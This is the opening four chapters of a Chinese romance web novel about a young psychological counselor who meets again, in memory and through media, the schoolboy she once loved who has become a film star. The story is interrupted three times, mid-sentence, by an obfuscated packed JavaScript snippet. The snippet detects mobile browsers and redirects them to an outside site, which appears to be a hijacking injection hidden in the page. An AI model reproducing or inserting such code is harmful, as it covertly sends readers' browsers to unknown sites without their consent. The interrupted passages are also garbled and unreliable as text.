《换我喜欢你》 1. 第 1 章 “我开车送你去吧，带那么多东西坐高铁很麻烦的，反正我这几天没事。” 鞠言推着大包小包的行李到电梯口，鞠然跟在身后说。 因为之前的事，时隔几年，她都没和他说过几句话，兄妹之间生疏的仿佛有一道无形的墙。 “我已经买好票了。” 虽然鞠言的回答在预料之中，鞠然的表情还是有一瞬间的失落，他默然半晌，嘱咐道：“那你路上小心。” 鞠言实习的医院是清津的一家私立医院。 虽是私立，但森北的精神医学专科在全国享有非常好的排行与声誉，并且还会定期为核心岗位的咨询师提供去国外访学的机会，这也是鞠言非常想留在森北的原因。 到了清津，她将行李草草地搬进新居，等不及收拾，即刻先动身去森北。 和未来的同事们简单的打过招呼，咨询顾问乔楠领着她往咨询室走，她的咨询室安排在六楼的侧后方。 在鞠言的要求下，咨询室交由她自己布置，薄荷绿的两张单人小沙发对望着，后面是一面奶白色的小书柜，中间摆着一张淡黄色的小圆桌，上面搁了一盆可爱的柔白色月季以及纸巾和水。 阳光透过百叶窗一缕缕撒进来，斑马线似的映在地上。 鞠言望着这简洁而温暖的房间，小小的，独属于她的小世界。 装饰好自己的咨询室，刚到午饭时间，鞠言正自考虑要点外卖还是去医院的食堂。 “咚咚”有人叩了两下门，鞠言仰起脸： “请进。” 有个年轻女生站在门扉旁朝她微笑，“hi，要一起吃午饭吗？” “嗯。”鞠言回以微笑：“正好需要有人给我推荐一下这里好吃的外卖。” 杨欣也是咨询师，刚刚转正没多久，微胖，圆而饱满的脸，不漂亮但很有亲和力。 鞠言：“我叫鞠言，鞠躬的鞠，语言的言。 “再叫一个朋友一起你不介意吧？”杨欣和人发着微信，抬头看她一眼询问道。 鞠言点点头。不一会儿穆晓菲就来了，她很外向，商定了吃什么，鞠言和她们一起乘电梯下楼。医院一楼有家咖啡厅，点好了咖啡，三人围着一张小圆桌坐下，各自拆外卖的袋子。 鞠言买的是鳗鱼盖饭，穆晓菲推荐的。 “我今天下午忙死了，好多事，吃完饭还得去见我督导。” 穆晓菲抱怨着，点亮手机屏幕看了眼时间，林今世的脸骤然闯入鞠言的眼中，她目光一顿，立刻错开眼。 以前总有人说他漂亮得像明星，现在他倒真成明星了。 杨欣也注意到了她的屏幕：“你换新壁纸了？” “对呀，帅吧？”穆晓菲举起手机朝她展示了一下。 “比之前那张还帅。” “这张可是生图直出的！” 杨欣忽然想到了什么，凑近穆晓菲八卦道： “哎，我看网上分析说，林今世好像真的和江宁宁在交往哎，你们觉得真的假的？” “只是为了宣传电影营业而已啦。”穆晓菲的语气有些不情愿。 杨欣：“但是他们两个人好配啊！都一起合作两部电影了，而且两个人也不是爱豆，谈恋爱也没关系。” “才没有呢！林今世对谁都一样冷淡，完全就是‘事业党’！” 见鞠言只是静静地吃饭，杨欣有点不好意思，怕她是插不进话，便主动把话头引向她，“小言你有看林今世的新电影吗？” 鞠言停下筷子，微笑着摇了摇头。 一听她还没看过，穆晓菲立刻兴奋地安利道：“今天晚上我们一起去看吧，林今世在里面可帅了！我都三刷了。” “不了，我已经好久没看电影了。”鞠言想也没想便拒绝，歉然道，“我今天还要回去收拾房间呢。” “那就明天好了！就是因为好久没看了才要去看嘛！”穆晓菲热情不减。 “我……”鞠言的嘴张了张，想不出来该如何再找理由拒绝她。 一遇到和林今世有关的事，她的脑子就容易断电。 “就这么说定了，”穆晓菲没给她再拒绝的机会，她笑眯眯地道：“这边到电影院坐地铁才一站，明天傍晚不见不散。” 鞠言：“……” - 结束了第一天的工作，回到出租屋把行李一件件安置好，已经接近十点。鞠言累得不行，一洗完澡就躺到了床上，没一会儿便被睡意笼住。 恍惚听见门铃在响，她将门打开，眼前恍然有光闯入，鞠言的心停跳了一拍。 哥哥的背后站着一个陌生的少年。 那是她第一次看到林今世，很难不注意到他，站在聒噪幼稚的哥哥身后，沉静，漂亮。虽然脸上没有表情，可却像是自带光芒，将整个人都照亮了。 鞠言第一眼见到他，她无人知晓的暗恋便开始了。 六年前的冬日，高二下学期。 学校并不算高敞的小卖部内挤满了衣着棉敦敦的学生。天气寒冷，售卖热奶茶的保温柜前排着长长的队伍。 鞠言将手伸进散发着温馨黄光的保温柜中，取出一盒微微发烫的巧克力奶茶，捂在自己冰凉的双手之间。 从人满为患的小卖部出来，她蹲下身系鞋带，身旁有人经过，鞠言怔了下，从鞋子和走路方式认出了是他。 在昏暗的光线下，林今世白色的球鞋，像是雪塑的。 “……” 鞠言垂下眼。不紧不慢系好鞋带，才刚起身，忽然有人在她身后粗声“嚯！”了一声，她被吓得手里的东西差点脱手。 惊吓之余，鞠言立刻戒备地反手捂住帽兜，不让哥哥像上次那样悄咪咪地往里塞一团垃圾。 她带怒气地回过脸，果然是哥哥鞠然，他的身旁，是林今世。 两人并肩，正朝小卖部的方向走。林今世两手插在黑色羽绒服兜里，沉静的目光注视着前方，全然不在意自己的经过在人群中引起的一阵波澜。 看她怔怔的，鞠然又冲她扮了个鬼脸，因为他的举动，林今世侧脸朝这边看了过来，淡然的视线在她脸上停留的那两秒，她的呼吸也停了。 鞠然和林今世是好朋友，也是因为这个原因，鞠言能比其她暗恋他的女生多见到他几次，但他可能连她叫什么都不知道。 偶然听到鞠然和别人谈论起有关林今世的内容时，鞠言总会下意识地专注聆听。 大多时候都是情事：被谁追求、被谁表白…… 林今世不是所谓的海王，但几乎每一天都在别人前赴后继的追求中度过。 鞠言没有想过表明自己的心意，枯燥乏味的学校里有他的存在，就已经很让人觉得幸福了。 …… 在异乡的第一个夜晚，她睡得并不算好，每次梦见林今世，醒来后总是伴随低落。 鞠言不愿意承认是自己忘不了他，只能幼稚地在心里责怪他一次次不经允许，就擅自闯到她的梦里来。 - 早晨八点，森北医院已人满为患。 鞠言的咨询室迎来了第一个来访者，资料上说，对方是个正在读高中，一度要求退学的女孩。 女孩叫沈小简，咨询是母亲替她预约的，沈小简走进咨询室后，全程以回避的姿态面对鞠言，几乎拒绝回答任何问题。 她的大多数情况，鞠言都是通过她的妈妈了解到的，但她更想听听沈小简自己内心的想法，因为大多数家长对自己孩子的了解，往往不太准确。 鞠言礼貌地找了个理由将女孩的妈妈请出了咨询室。 只剩下她和她独处，沈小简虽然仍不肯将脸面向她，但抗拒的情绪明显的淡了些。 鞠言先和她聊了一些轻松的话题，随着她耐心的引导，沈小简逐渐不那么抵触了，到初诊快结束时，她已经愿意回答她一些问题了。 鞠言抓紧机会，柔声问：“是因为什么事让你产生了退学的情绪？” 这个问题她在一开始就问过一次，但当时沈小简紧咬着唇，只以沉默回答。 沈小简微不可察地颤了一下，问道：“你会替我保密吗？” 鞠言看着她，点了点头。 她的目光真挚而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305804|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔，让沈小简对她多了一分信任，她极小声地说： “我……我不喜欢我的同学，他们也不喜欢我。” 短短的一句话，她说的异常艰难。 根据过往经验，鞠言第一时间明白了这句话背后的真正含义，眼神不觉严肃起来。 “你是怎么感觉到的？” “我……”沈小简的嘴唇颤抖着，说不下去了，泪水顺着青涩的脸颊滑落，因为哭泣，她的身体瑟瑟发抖。 女孩从上学期开始便遭遇了校园暴力，更令鞠言感到厌恶的是这场霸凌仅是因为沈小简跟男生交流时太过紧张而被谣言传作：她很自恋，觉得有很多男生暗恋她。 青春期少年特有自尊心让她没有将遭到霸凌的事告诉任何人，包括自己的父母，只是一个人默默承受，经历了一学期的精神凌迟，沈小简已经对上学，甚至只是走进自己所在的班级都产生了生理性恐惧。 咨询师在咨询过程中表现出情感是大忌，鞠言面上没有表情，可看着泣不成声的女孩，她真想一把抱住她。 为了有更好的治疗效果，一场咨询的时间限定在五十分钟，在女孩的哭泣声中，时间一点点流逝，等她的情绪平静下来，咨询的时间也到了。 或许是怕浪费她的时间，咨询时间刚一到，鞠言还未提醒，小简便已站起身往外走。 鞠言站起身送她，柔声道：“希望我下次还能再见到你。” 沈小简脚步微滞，略回过脸：“嗯，再见。”声音很轻。 傍晚一下班，鞠言就被穆晓菲拉去了附近的电影院看那部正在上映的悬疑片。 坐地铁时，穆晓菲骄傲地告诉鞠言，林今世其实并不是表演专业的，而是清津电视台的主持人，仅是实习期第一次出镜就在网上出了名，好几家娱乐公司抢着去签他，因此踏上了演艺道路。 林今世出道作是一部青春电影的男三号，虽然他在其中的演技只擦着及格线。但因为实在漂亮，电影一经播出便一举成名，爆火到仅是他被狗仔拍到私服出行时永远会佩戴着的一枚镶钻的海蓝色耳钉，就引起了一阵佩戴单侧耳钉的热潮。 鞠言安静地听着，偶尔适当地问上几句，其实穆晓菲说的这些，她都知道。 今天正好是周五，电影院里有很多是背着大书包的学生，讨论声尤为激烈，不同声线喊出一声声相同的林今世。 鞠言垂眸看着手腕上的时间，离开始检票还有一会儿。 杨欣在问穆晓菲：“你不去打卡吗？” 穆晓菲骄傲道：“我早就已经打卡过了，你没看我朋友圈吗？” 鞠言的视线顺着她说的方向看过去，好几个女学生正站在立幅电影海报前打卡，拍摄与“林今世”的合照。 一个站在人群之外的女孩引起了鞠言的注意，她穿着高中的校服，马尾辫，似乎是不好意思让别人知道自己喜欢他，女孩只是驻步在人群之外，没有过去和海报合影，安静地望着被簇拥着的他。 鞠言心里有些触动，她文静小心的模样使鞠言想起了过去的自己，她忍不住朝她走过去，柔声问： “你是想拍照吗，我陪你去拍吧？” 女孩回过脸看她，惊喜而腼腆地点了点头。 鞠言陪着她过去，耐心地帮她拍了许多张，替女孩拍完照片，电影也开始检票了，看着女孩雀跃地拿着照片反复观看的模样，鞠言也不禁莞尔。 虽然这部影片已经上映有一段时间了，可影厅还是座无虚席，场场爆满的程度。 林今世的新电影是一部悬疑片，他在电影里饰演一名刚入职的警员，在一身制服的加持下，更显得肩正腰窄，俊美夺目。 他刚一出场，便有几个女学生应援似的喊起了他的名字。 “也太帅了吧！”穆晓菲痴迷地望着屏幕，轻声自言自语道。 望着屏幕之中的林今世，鞠言发觉他其实并不上镜，虽然电影里的他已经够漂亮了，但还是不及本人好看。 男主角的师傅悲情离世，看着林今世流泪的样子，鞠言有些走神，莫名忆起了他来求她不要分手的场景。 2. 第 2 章 空气中弥漫着冷冷的桂花香，少年望着她的眼中透出哀求，她看到他嘴角的伤痕，心里一阵疼，却还是报复性地说谎伤害他： “你知道吗？我从来没喜欢过你，当初也不过是喜欢你的脸而已。” 把自己说的肤浅，把他贬得除了容貌一文不值。 鞠言以为他会轻蔑一笑，轻而易举地转身离开，像他从前对他前几任女友那样薄情。 可那个矜傲的少年脸色却在霎时苍白，像是被打了一枪似的定定地怔在了原地。 他无助地望着她，默然良久，低声哀求道：“……只是喜欢我的脸也无所谓，只要你还有一点喜欢我……” 黑暗中，鞠言的眼睛不知不觉有些潮湿，眼前的画面逐渐朦胧。 白灿的灯光忽然亮起，鞠言惊醒过来，这才发觉电影已经结束了，讲了什么她一点印象也没有，摸到湿涔涔的脸才发觉自己原来哭了。 伴随着片尾曲，演员的名字一个接一个的跳出来，她抬眼瞥的那一眼，恰巧是他的名字。 影厅闹哄哄起来，人们纷纷起身离开，鞠言将搁在腿上的包挎到肩膀上，和杨欣、穆晓菲一起出了影厅。 还没走出电影院，穆晓菲就迫不及待地问鞠言：“是不是很帅？” “嗯……”鞠言心不在焉地笑了下。 穆晓菲：“我第一遍看的时候连剧情讲的是什么都没不知道，全程光看脸了！” “欸？小言，你怎么哭过了？”注意到鞠言脸上淡淡的泪痕，杨欣关心地问道。 穆晓菲得意非凡地轻推了杨欣一下：“结尾的时候还不够感人么？ 鞠言浅笑着点了下头，借着电影让人动容的片段，掩饰了过去。 可能因为傍晚时触碰到了和林今世有关的回忆，明明忙了一天，鞠言却毫无睡意，她闭着眼睛在床上躺了好一会儿，心绪完全无法平静，不受控地想起了许多过去的事情。 打开手机看了眼时间，已经快12点了，鞠言从床上爬起来，在笔盒中找出了那张珍藏的很好，写着林今世名字的座位条。 分手时，她将所有和他有关的东西都还给了他，唯独这张纸条怎么也狠不下心丢掉。 - 高二下学期，初秋。 第一节晚自习上课，教室里安静得只有笔尖划过书本的轻响，月考的座位条从最前排依次往后传递。 寂静无声的教室忽然冒出了几声压着嗓音的惊叹。 似乎喊得是林今世。 鞠言的笔尖顿了下，仰起脸。 前排的朱蕊将传下来的座位条递给她，悄声道： “小言，坐你位置的好像是林今世。” 鞠言怔了怔，佯装若无其事地接过。 洁白细长的小纸条，黑色墨水印着他好听的名字。 高三（9）班林今世考号14物理 那一天，物理这门鞠言并不喜欢，甚至有点儿讨厌的学科，也变得可爱了起来。 她先将纸条放到课桌里，拿湿巾将桌面仔细地擦拭了一遍，才将它贴到课桌的左上角。 一到了下课，贴在她的桌子左上角的座位卡成了小小的景点，班级里几个要事的同学不约而同地跑过来“打卡”确认。 黄欣瑶是第一个跑过来看的，她追林今世追的很凶，谈起他的语气总是势在必得。班级里有其他女生不小心提起他的名字，黄欣瑶立刻看过去，大眼睛里射出警惕的冷意。 鞠言从前经过前门旁黄欣瑶的位置时，余光曾不经意间，看到过被刻在桌子上的他的名字。 黄欣瑶和鞠言同寝室，总是在寝室里大谈有关林今世的话题，在寝室里直接称呼林今世为：“我男人。” 有关林今世的任何话题，鞠言从不参与，从没让任何人知道她喜欢他。 第二天早晨，鞠言又将椅子也擦了擦，才放心离开。 被各项学科轮流折磨了两天之后，月考结束。 整个教室里充斥着拖桌椅的噪音，分隔开的课桌重新并回一起，清空的课桌也重新被书籍填满，学生们纷纷将贴在左上角的座位卡被撕掉，揉皱丢进垃圾桶。 鞠言悄悄扫了一圈四周，确保没有人注意自己后，她小心地将林今世的座位卡揭下来，藏进了自己的口袋。 像小孩子藏一颗糖的心情，鞠言的嘴角漾上了一点淡淡的笑，她从抽屉里抽出数学卷子，预备把被打了红叉的题目摘进错题本中。 “鞠言！” 黄欣瑶的声音，鞠言抬起头，对上她的笑颜： “你位置上的座位卡可以给我吗？” 鞠言微微一愣，撒了个谎：“我已经丢了。”她抱歉地笑了一下。 黄欣瑶的大眼睛睁得更大了一点儿，追问道： “丢垃圾桶里了吗？” 鞠言顺着她的话点了点头。 黄欣瑶没有怀疑，不甘心地和邵芳翻了一阵垃圾桶，直到铃响了，才遗憾地走回座位。 那一次物理考试，鞠言考的特别好，几乎是超常发挥。 - 林今世的生日在鞠言入职的一个月后。整条地铁走道两侧墙壁上的电子屏里皆是他的粉丝为他投放的写真。 鞠言一路目不斜视地走着，眼梢却无法视而不见，朦胧的他，只在余光中也能惊艳四座。 鞠言不禁有些恍惚，仿佛回到了从前只敢用余光偷看他的时光。 偶然在学校里与他擦身而过，她的心瞬间加速搏动，不敢回头再多望一眼他的背影。 只是眼角的余光掠到的那一点，以及他从她身旁经过时，带起的那一瞬的微风就够让她用整个晚自习来回味。 出了地铁站，以为能避开，可人行道旁高悬半空的广告牌也全是林今世的照片。 直视是他，眼梢是他，连仰视都是他。她心底的人从四面八方出现，纠缠着她，不让她忘记他。 午餐时间，鞠言和杨欣她们围着一张小圆桌坐下。 “虽然每天都不想上班，但想想一路上都能看到林今世，心情就好多了。他这张脸简直就是我的心理咨询师。”穆晓菲惬意地将下巴搁到桌面上。 小助理乔楠疯狂认同。 鞠言没有言语，只是安静地吃着午餐，穆晓菲见她对林今世的事情总是淡淡的，愈发起了“征服”的念头。 她当即在自己的手机找出一段林今世的剪辑视频拿给鞠言看。 “比比，你要是看了这段视频还没有对他心动的——” “四位女士，可以和你们一起坐吗？” 杨树荣的声音打断了穆晓菲的话，他端着自己的午饭走过来。 “……” 杨欣尴尬地笑了下：“当然。” 得到了同意，杨树荣拉开仅剩的一把椅子在鞠言对面坐下。 杨树荣也是本院的心理咨询师，仗着比她们大了十几岁，工作资历久，总是喜欢对实习的女同事说教。 穆晓菲本来正在热情地向鞠言安利林今世，他一过来，立刻没什么话了。 “现在天气都冷了，怎么还喝冰的？”杨树荣看着穆晓菲放在桌上的冰咖啡。“男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305805|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的倒没事，女生喝多了宫寒，以后怀不了孩子嫁不出去怎么办？” “那就不嫁呗。”穆晓菲懒懒地答道，吮住吸管喝了一大口冰咖啡。 杨树荣：“到时候后悔了可别怪杨老师没尽到责任啊。” 穆晓菲没有再搭腔，杨树荣将话题引到鞠言身上：“小言，你谈过恋爱吗？” 鞠言不是很想在那么多人面前谈起自己的私事，只简单回答道：“谈过。” 杨树荣有些惊讶：“我还以为你对男人不感兴趣呢。” 穆晓菲立刻帮鞠言说话：“有什么好大惊小怪的，比比肯定是看清了你们这些男人的真面目，才对你们不感兴趣了！” 闻言，杨树荣嘿嘿笑起来，俯身靠近鞠言：“怎么分的呀？” 最痛苦，最想忘记的回忆再度闪现到她的眼前。 鞠言微摇了摇脸：“我不想谈这个了。” 杨树荣保持着原来的姿势没动，隔在镜片后的眼睛幽幽地观察着她：“这是，被伤得很深啊，要不要杨老师麻烦帮你心理辅导一下？” 鞠言心里泛起一阵反感。 杨欣看了鞠言一眼，试着把话题转开：“杨老师，你今天接了几个来访者？” 杨树荣喝了口咖啡，朝她伸出三个手指。 “说起这个我就无语，你们知道吗，我今天的那个来访者，简直可以说是无病呻吟。”杨树荣在几个年轻女性面前，不由得滔滔不绝起来： “自己在还没有成年的时候就和男人发生性关系，现在又后悔了，觉得——” “来访者是出于信任才会将自己的隐私告诉你。鞠言打断他。 她的语气严肃，说得毫不客气，杨树荣脸上的表情有些难堪，他尴尬地笑了一下，“这有什么，你们三位都是咨询师嘛。” 鞠言继续道：“拿来访者的隐私来当作谈资，好像不是一个合格的咨询师该做的事吧？” 杨欣和穆晓菲纷纷点头认同鞠言，杨树荣再次干笑了两声：“没想到小言这么凶的啊。” 本就因为他的加入而变得兴味索然的一顿饭在此时变了更加令人讨厌了。 鞠言不再理他，打算快点吃完午餐走人。 穆晓菲坐的位置面朝外，余光瞥见一个身着黑西装的年轻男人走进大厅，她定睛看了过去，随后用手肘轻轻撞了下杨欣： “那是小李总吗？” “哪儿呢？”乔楠立刻回过头寻找。 杨欣嚼着东西漫不经心地抬起脸望了一眼：“是啊，他今天怎么来了？” 鞠言也回过脸朝她们所视的方向望了一眼。 男人长腿宽肩，步伐潇洒。常人往往是衣衬人，在他却是人衬衣，高贵的风度来自于自身，而非那套高级的定制黑西装。 “小，李总？”鞠言茫然。 坐在她右侧的乔楠打开手机后置摄像头检查了下自己的妆容，见鞠言似乎不认识，她边补口红，边轻声向鞠言介绍： “他就是沈院的儿子，叫李景显，但他好像对医学没有兴趣，所以才自己开了公司，不过沈院就他一个孩子，未来森北的大部分资产还是由他继承。” 她们的目光使年轻男人回过头，他冲她们笑了一下，随即大步流星地朝这边走过来，杨树荣忙站起身，要和他握手：“李总好。” 李景显和杨树荣牵了下手，礼貌地同其她人都打了招呼，他的目光瞥见安静地坐在最里侧位置的鞠言，他微微一怔，随即俯下身，笑吟吟地说道： “原来你在这儿，我还想上楼去找你呢。” 3. 第 3 章 “嗯？”穆晓菲睁圆眼睛，“你们认识？” “是啊，这是我小青梅。”李景显笑道。 鞠言忙解释道：“别听李总乱说，没那么夸张。” 李景显很明显是特意来看他的，不好让他在这儿站着，鞠言正好也吃好了，她把桌上的外卖盒子收拾到垃圾桶里，站起身，对一众女孩道： “你们慢慢吃，我先陪李总上去。” 听到她对他的称呼，李景显微微扬了下眉。 杨树荣也立刻殷勤地站起来，笑道：“我也去，刚好吃完饭走几步。” 李景显婉拒了他，和鞠言一块上楼。 回到办公室，鞠言把门关了，李景显略带歉意地说道： “前段时间飞国外去了，没空来看你，今天终于有点时间了，怎么样，工作还适应吗？” 鞠言盯着李景显不语。 “干嘛一直看着我，我今天特别帅吗？”李景显略歪过头。李景显是海归，浓眉高鼻，长得也有点像混血儿。 “干嘛骗我？” “我骗你什么了？”李景显装无辜。 “你怎么都没告诉我你是沈院的儿子？” “这有什么好说的。”李景显缓缓踱步，打量着她的咨询室。 鞠言随着他的目光重新看了一遍自己的咨询室，仍旧觉得很满意。 “是不是很漂亮？” “很漂亮。”李景显表示赞同，他回过头：“你可不要喊我李总，搞得我们两个像上下级，我平时在公司早听够了。” “但是大家都这么喊，就我一个人喊你名字会不太好。” “我们跟他们又不一样，我们要是再早认识几年，就是‘青梅竹马’了。”李景显笑起来。 鞠言淡淡笑了笑，“那以后私底下还是喊你名字，但平时在医院还是得叫李总。” 李景显作出失落的样子：“那我在医院也只能叫你鞠医生咯？” 鞠言莞尔：“你随意。” “知道了，比比。” 鞠言：“……” 又聊会儿，李景显看了眼手腕上的百达斐丽，“我晚上还有个饭局，要和一群老家伙吃饭，先回去了。” “我送你。”鞠言站起身。 乘电梯到楼下，鞠言忽然想起了什么：“李……景显。你什么时候有空？我请你吃饭。” 来森北工作的事多亏了李景显推荐，鞠言早就想好了要请他吃饭。 “如果是为了工作的事情那就免了，为我这个人的话，欣然答应。”李景显弯下腰和她面对面说话。 “你就当是为了你可以吗？不然我真的不好意思。”鞠言诚恳地看着他。 “好吧好吧。”李景显和她对视了几秒，无奈地一笑。 送李景显到医院门口，司机已经打开了车门，李景显走到车边，回过头对鞠言道：“有什么事情给我打电话。” 李景显一走，穆晓菲和乔楠便钻进了鞠言的咨询室，经过一个月的相处，她们已经很相熟了，穆晓菲直接称呼她的小名： “比比，刚刚小李总说得真的假的？” 鞠言无奈：“李总开玩笑呢，我家世代平民，怎么可能会有他那样的发小。” 乔楠伏到鞠言的办公桌上，“鞠医生，我有个事情想请教你一下。” “什么大事需要用“请教”？”鞠言仰起脸笑道，穆晓菲也好奇地朝乔楠看着。 “不是什么大事，只是关于小李总的。他跟你讲话距离都离得那么近了，如果换做是我的话，我早就脸红了，你到底是怎么做到面不改色的？” 鞠言想了想：“我也不知道，可能你多接触他几次就不会紧张了。” 结束了谈话，鞠言在心里回忆起她第一次遇见李景显的场景，他是标准的美男子，但跟他说话，她好像没有脸红过，似乎连紧张也没有。 对其他的男生，也是这样。 唯独林今世是例外，甚至只是一个不经意的眼神，便能会让曾经的她不受控地脸热起来。 - 高二下学期，仲夏。 鞠言高二班级所在的教学楼，和东面对着高三的教学楼隔着一个庭院，林今世的班级就在对面的三楼。 从一楼仰脸望，看不到他，但鞠言能想象出他在那间教室里写作业、听课、发呆时的模样。 有一次林今世的位置被调到了靠窗的位置，从她们这边能仰望见他在三楼的侧影。 当天晚自习下课后，一楼的栏杆上趴了不少人朝他的位置仰望，有些是喜欢他的人，有些则是出于好奇，桐安中学的学生多多少少听闻过他。 鞠言的位置靠走廊，只要侧仰起脸就能望见他的侧影，她表面上不动声色，内心却有无限的雀跃。 她只要能够远远看见他，就满足了。 通用技术老师是个快退休的老头子，讲话起来土腔很重，公式一连串地从唾沫横飞的嘴里蹦到黑板上。 通用技术鞠言不擅长也不喜欢，初春下午懒洋洋的风又吹得人犯困，她更加集中不起注意力听课。 通用技术不是她的选修课，而且鞠言也没想走三位一体，只要分数够应付学考就可以了。 她放任自己走了神，瞥向窗外，目光从涂抹着淡金色阳光的庭院渐渐落到遥在三楼的他的侧影。 看不大清，模糊的一个轮廓。 鞠言发觉林今世上课时喜欢用一只手懒懒地撑着脸。 她不由得也学着他的动作用一只手托住脸，感受他在做这个动作时的感受。 林今世似乎是被老师叫到了，懒洋洋地站起身，隔了片刻，又重新坐下。 她在脑海中想象出他回答问题时的漫不经心的表情与声音，正凝望着，他忽然侧过脸，遥遥朝她的位置看过来，隔得太远，看不清彼此脸上的表情。 一定是看得太久了，他有所察觉。 鞠言连忙把脸扭回来，恰恰此时，高度近视的老师终于发现了她在走神，带点儿呵斥意味地喊了一声，“菊燕！”让她起来回答。 鞠言回答不出来，心不合时宜地走神十分之三在想他此刻是不是还在看她。 前排的朱蕊小声给她递答案，鞠言跟着说了，老师从眼镜上方狠盯了她一眼，摆手示意她坐下，嘴里数落道：“窗外有什么东西让你盯得这么牢！” 心思好像被一下子戳穿，鞠言有些脸红，她低着脸坐下，悄悄侧脸朝他的方向瞥了一眼，他没有看她。 她的心中荡起一阵空荡荡的失落。 下了课黄欣瑶挽着邵芳的手臂走过来，脸上挂着假笑，“鞠言你上课在看什么呀？” “没看什么，只是在发呆。”她垂下眼，目光落到面前的卷子上。 黄欣瑶没有走开，站到她的位置旁朝窗外张望了一下，似乎是在判断她的角度。 鞠言心里有些反感黄欣瑶的监视，本来就对通用技术卷子提不起兴趣，她在一旁，更是一点都写不下去了。 黄欣瑶把机警的目光挪回她身上，似乎还想盘问，对面教学楼忽然传来两声响亮的呼喊，叫的是鞠言的名字。 走廊上的学生都被引得朝那个方向望了一眼。 鞠言顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305806|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声源看了过去，鞠然耸肩伏在林今世座位的窗口上，见她看了过来，他冲她比了个中指。 鞠然生得白皙清俊，虽不及林今世，但在学校里也很有人气，鞠言难以理解，不懂为什么鞠然这个幼稚的家伙会有这么多人喜欢。 黄欣瑶脸上的表情变得安心，似乎以为她上课看的是鞠然，她终于从鞠言位置旁离开，拽着邵芳到教室外去看林今世了。 “……”鞠言向哥哥投去一个鄙视的眼神，外加一个中指。 手还没收回来，林今世忽然从鞠然身后探出脸来瞥了一眼。 鞠言倏地将手缩了回去，若无其事地将目光重新投到卷子上，脸像烧熟了似的由里红到外。 她心不在焉地拿着笔盯着卷子出神，刚才的行为林今世肯定看到了，不知道会不会在心里觉得她粗鄙。 “比比。” 是朱蕊在喊她。 “嗯？”鞠言回过头。 朱蕊走到她身边，道：“外面太阳好好，我们去晒一会儿太阳吧。” 见鞠言有些犹豫，朱蕊劝道：“你够白了，就算晒黑一点也没关系啊。” 鞠言：“……不是因为这个，我想先把试卷写完。” 朱蕊伸手将鞠言从位置上拽起来，“哎呀，老师不是说了，这张卷子两天后交就可以了嘛。” 鞠言想想也对，为了讨厌的通用试卷浪费了晒太阳的机会的确不太划算。 暖融融的阳光穿过树叶的缝隙，洒到身上，鞠言被晒得有些昏昏欲睡，忽然感觉到肩上有东西在爬，鞠言条件反射侧脸，一只硬币大小的甲壳虫正爬在她的肩膀上。 身旁的朱蕊被吓得喊了一声，一下子从她身旁弹开了。 鞠然幸灾乐祸的笑声从身后传来。 鞠言不敢直接拿手掸，她僵着肩膀，脸涨得一阵红一阵白，咬牙吼道：“鞠然！快给我拿掉！” 看到她惊慌的样子，鞠然乐不可支：“偏不！” 甲壳虫受到了刺激，嗡的振翅飞了一下，栖停到了她的脖子。 脖颈的皮肤感受到了它微刺的小爪在缓慢地往衣领里攀爬。 鞠言尖叫了一声，浑身鸡皮疙瘩直冒。 看着她无助地疯狂跺脚，鞠然笑弯了腰。 经过的同学纷纷朝她投来好奇的目光。 “比比，你坚持下，我去找人来帮你抓！”朱蕊急死了，但是她比鞠言更怕虫子，只能跑去求援。 忽然感到有手探进她的领口，屈起的指骨蹭到脖颈传来一瞬微凉的酥痒，下一秒，小爪刺痒的感受便消失了。 鞠言惊魂未定，抬臂捂着被甲壳虫爬过的位置，回过头想对帮自己的人道谢。 林今世随手将手里的甲壳虫随手抛进花坛里，黑亮的甲壳虫“嗡”的一声展开半透明的翅膀飞走了。 没想到会是林今世，鞠言微微一怔。 林今世侧眸瞥了她一眼，鞠言慌忙垂下眼，声音轻得都快听不见了： “谢谢。” 被他的指骨蹭到的那处皮肤也忽然有些隐隐发烫。 - 刚送走了双眼哭肿得像是桃子的来访者，鞠言正要开始复习下一个来访者的资料。 忽然传来两下叩门。 鞠言：“请进。” 门被轻推开，有个戴着鸭舌帽的女孩探头进来，和鞠言对上目光，女孩问： “请问您是鞠言，鞠女士吗？” “嗯，是我。” 女孩走进来，把怀里的一束花双手递给鞠言，笑道：“您好，这是林先生送给您的鲜花。” 4. 第 4 章 鞠言怔了怔，谢过外送的店员，她有些烦躁地望着那束昂贵精致的玫瑰。 林先生，除了他，没有别人了。 鞠言走回咨询室，抱着花走到外面大些的垃圾桶旁，犹豫了一下，将花束丢了进去。 林今世知道她喜欢鲜花，可他送的花她不想要。 第二天花店的店员又来了，带着笑将一束不同的高级鲜花送给她。 